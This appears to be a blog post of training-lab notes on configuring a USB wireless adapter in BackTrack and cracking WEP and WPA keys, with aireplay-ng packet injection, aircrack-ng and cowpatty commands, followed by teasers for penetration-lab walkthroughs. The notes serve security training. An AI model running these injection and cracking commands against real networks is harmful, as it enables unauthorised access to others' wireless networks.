Skip to main content

cfg wlan in BT, wireless crack WEP & WAP using Aircrack-ng and CoWPatty

Configure Wirelesss Lan in Backtrack 5R1 (Ubuntu)

a. Download the utility (wireless lan card drivers) in a XP box. copy the  rtl8187B.sys & rtl8187B.inf files where these two files can be downloaded to the BT linux.

b. Open a Terminal (Applications, Accessories, Terminal) and type "sudo apt-get install ndisgtk" and press "Enter." Type "sudo apt-get install ndiswrapper-common" and "sudo apt-get install ndiswrapper-utils," both followed by "Enter." This installs Ndiswrapper, a utility for installing Windows devices drivers in Linux.
c. Plug in your TEW-424UB and insert the vendor CD into the disc drive and double-click the desktop icon to view its contents. Open the "Drivers" folder and navigate to "Windows XP." Drag the drivers (both SYS and INF) from this folder onto Ubuntu's desktop.

d. Type "sudo ndiswrapper -i /home/USERNAME/Desktop/Sis163u.INF," replacing USERNAME with your Ubuntu username, and press "Enter." Type "sudo modprobe ndiswrapper" and "sudo ndiswrapper -m," both followed by "Enter." This installs your TrendNet TEW-424UB wireless adapter.

e. iwlist wlan0 scan should give you results. get your essid and type:
sudo iwconfig wlan0 essid YourEssid
sudo dhclient3 wlan0 #to do dhcp else, use ifconfig wlan0.
you should be set.

f. use wicd network manager to enter the shared key


Read more: How do I install trendnet TEW-424 UB Wireless G USB Adapter - JustAnswer http://www.justanswer.com/computer/3anhb-install-trendnet-tew-424-ub-wireless-usb-adapter.html#ixzz1e7zxljhj

http://wn.com/Monitor_your_network_with_Backtrack_3
a) $airodump-ng w out c 1 bssid 00:00:00:00:00:00 wlan0
b) a client is conneted to the AP. we will be able to use the attack airreplay-ng -3 (ARP replay) to push the data and crack the WEP key
$aireplay-ng -3 -e linksys -a 00:00:00:00:00:00 -b 00:00:00:00:00 -h 00:00:00:00:00:00 -x 600 -r out.01.cap wlan0

c) $aircrack ng out 01.cap

--------------------
a. using.560.sans. cracking WEP

to cpature the traffic. first cmd put the interface in the monitor mode, listenig on chanel 6, then
capture the packets and store them in a pcap file
nn =  dont convert address to names or print domain name of host names
-i = interface followed by the interface name


-s  = snaplen. should limit snaplen to the smallest number that will capture the protocol information you're interested in.







-w = write to the file followed by the name of the file.







 





# iwconfig eth1 mode monitor channel 6
# tcpdump -nn -i eth1 -s0 -w [file.pcap]


# cp /home/tools/wep_crack.pcap /tmp
# /usr/sbin/tcpdump -nnr /tmp/wep_crack.pcap | grep "Beacon"
you should see the SSID in paraenthesis after the word Beacon

if you leave off the -e option, Aircrack-ng will let you chose which SSID traffic you wish to crack. if only one is present, Aircrack will proceed with the crack. you should see the key once aircrack is done.

# cd /home/tools/aircrack-ng-1.0-rc1
# ./aircrack-ng -e "560gc" /tmp/wep_crack.pcap

crack WPA
=========
go away 2 is this SSID

# cp /home/tools/wpa_crack.pcap /tmp
# wireshark -r /tmp/wpa_crack.pcap &
# cd /home/tools/cowpatty-4.2
# ./cowpatty -r /tmp/wpa_crack.pcap -s "go away 2" -f /home/tools/john-1.7.2/run/password.lst

Comments

Popular posts from this blog

28 VM SecOS-1

Walkthru: Notes: A. https://c0d3g33k.blogspot.com/2017/01/secos.html [capture admin cookie using 127.0.0.1 in a code  test.html  with cross site scripting vulnerability,  CSRF attack, use exploit 37088 for priv escalation ] B. http://oldsmokingjoe.blogspot.com/2016/01/walkthrough-secos-1.html [ Hacking Node.js and MangoDB   ] c. http://oldsmokingjoe.blogspot.com/2016/01/walkthrough-secos-1.html [use wget to post data from CLI. Add other cmds to ping cmd using curl and wget] D. https://chousensha.github.io/blog/2015/02/04/pentest-lab-secos/ [SSH tunnel so we can access the ping site from Kali and dont have to pass via CLI] Notes: # Nmap 7.70 scan initiated Thu Jul 19 09:26:05 2018 as: nmap -sV -O -oN ../reports/192.168.117.6/192.168.117.6.nmap 192.168.117.6 Nmap scan report for 192.168.117.6 Host is up (0.00042s latency). Not shown: 998 closed ports PORT     STATE SERVICE VERSION 22/tcp   open  ssh  ...

VM 9 : PHP Include And Post Exploitation

Walkthrough 1.        https://medium.com/@Kan1shka9/pentesterlab-php-include-and-post-exploitation-walkthrough-8a85bcfa7b1d 2.        Ine [] 3.        http://megwhite.com.au/pentester-lab-bootcamp-walkthrough-php-include-post-exploitation/ 4.        http://fallensnow-jack.blogspot.com/2014/07/pentester-lab-php-lfi-post-exploitation.html Notes: root@kali:~# nmap 10.0.0.12 Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-30 12:23 EDT Nmap scan report for 10.0.0.12 Host is up (0.00035s latency). Not shown: 999 filtered ports PORT    STATE SERVICE 80/tcp open   http MAC Address: 08:00:27:1F:12:24 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds root@kali:~# Enumerating port 80 Run dirb root@kali:~# dirb http://10.0.0.12/ ----------------- DIRB v2.22 By The Dark Raver...

VM 15: Kioptix 2014

Walkthru Notes 2nd approach  using nc via web using php reverse shell 3rd approach   w/o metasploit =================== walkthru: 1.  Updating OpenFuck Exploit(764) but it didnt work here @ https://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/ 2. ============== Notes: 80/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) MAC Address: 08:00:27:82:89:F9 (Oracle VirtualBox virtual NIC) Running: FreeBSD 9.X|10.X OS CPE: cpe:/o:freebsd:freebsd:9 cpe:/o:freebsd:freebsd:10 OS details: FreeBSD 9.0-RELEASE - 10.3-RELEASE PORT     STATE SERVICE VERSION 8080/tcp open  http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) |_http-server-header: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 |_http-title: 403 Forbidden MAC Address: 08:00:27:82:89:F9 (Oracle VirtualBox...